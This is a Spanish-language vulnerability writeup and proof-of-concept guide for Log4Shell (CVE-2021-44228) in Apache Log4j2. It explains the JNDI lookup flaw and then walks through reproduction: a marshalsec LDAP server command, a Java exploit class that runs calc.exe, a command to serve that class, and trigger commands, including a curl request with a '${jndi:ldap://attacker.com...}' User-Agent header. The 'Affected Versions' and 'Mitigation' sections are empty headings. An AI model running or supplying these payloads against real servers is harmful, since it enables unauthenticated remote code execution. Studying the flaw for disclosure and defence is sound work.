CVE-2021-44228 — Log4Shell: Ejecución Remota de Código en Apache Log4j2

CVSS 10.0 CRÍTICO | CWE-502: Deserialización de Datos No Confiables | CWE-917: Neutralización Incorrecta para Inyección de Lenguaje de Expresión

Resumen

Log4Shell (CVE-2021-44228) es posiblemente la vulnerabilidad más grave de la década de 2020, afectando a Apache Log4j2 versiones 2.0 hasta 2.14.1. Descubierta por Chen Zhaojun de Alibaba Cloud Security en noviembre de 2021 y divulgada públicamente el 9 de diciembre de 2021, permite la ejecución remota de código no autenticada en cientos de millones de servidores en todo el mundo.

La vulnerabilidad surge de la funcionalidad de búsqueda JNDI (Java Naming and Directory Interface) de Log4j2, que permite cadenas de búsqueda arbitrarias como ${jndi:ldap://attacker.com/a} en mensajes de registro. Cuando una cadena controlada por el usuario que contiene dicho patrón se registra, Log4j2 realiza la búsqueda JNDI, que puede cargar y ejecutar clases Java remotas.

Detalles Técnicos

Causa Raíz

Log4j2 introdujo una funcionalidad llamada "Message Lookup" que sustituye patrones ${...} en mensajes de registro con valores de diversas fuentes (JNDI, variables de entorno, propiedades del sistema, etc.). La clase JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) llama a InitialContext.lookup() sobre cadenas controladas por el atacante sin una sanitización adecuada.

// Código vulnerable en JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Pasa directamente la clave controlada por el atacante a la búsqueda JNDI
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

El método lookup() delega en javax.naming.InitialContext.lookup(), que puede cargar objetos remotos desde servidores LDAP, RMI, DNS o CORBA.

Flujo del Ataque

1. El atacante crea el payload: ${jndi:ldap://attacker.com/a}
2. El payload ingresa al contexto de la aplicación (cabecera HTTP, entrada de usuario, etc.)
3. La aplicación registra el payload (por ejemplo, mediante registro de solicitudes)
4. Log4j2 procesa el patrón ${...} y llama a JndiLookup
5. La búsqueda JNDI consulta el servidor LDAP controlado por el atacante
6. El servidor LDAP responde con una Reference que apunta a la clase Java del atacante
7. Log4j2 / JVM obtiene y carga la clase remota
8. La clase del atacante ejecuta código arbitrario en la JVM de la aplicación

Versiones Afectadas

Reproducción

Configuración (Servidor de Referencia LDAP)

Use marshalsec para iniciar un servidor LDAP malicioso:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Compilar la Clase Exploit

// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

javac Exploit.java
python3 -m http.server 80  # Servir Exploit.class

Disparo

python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

O mediante cabecera HTTP:

curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

Código PoC

El exploit.py incluido proporciona:

• Generación de payloads de inyección JNDI (variantes LDAP, RMI, DNS)
• Inyección en cabeceras HTTP para objetivos comunes
• Modo automatizado de servidor de referencia LDAP
• Colaboración con marshalsec o independiente

Mitigación

Referencias

• NVD: CVE-2021-44228
• Aviso de Seguridad de Apache Log4j
• Guía de Log4j de CISA
• Análisis de Log4Shell de Lunasec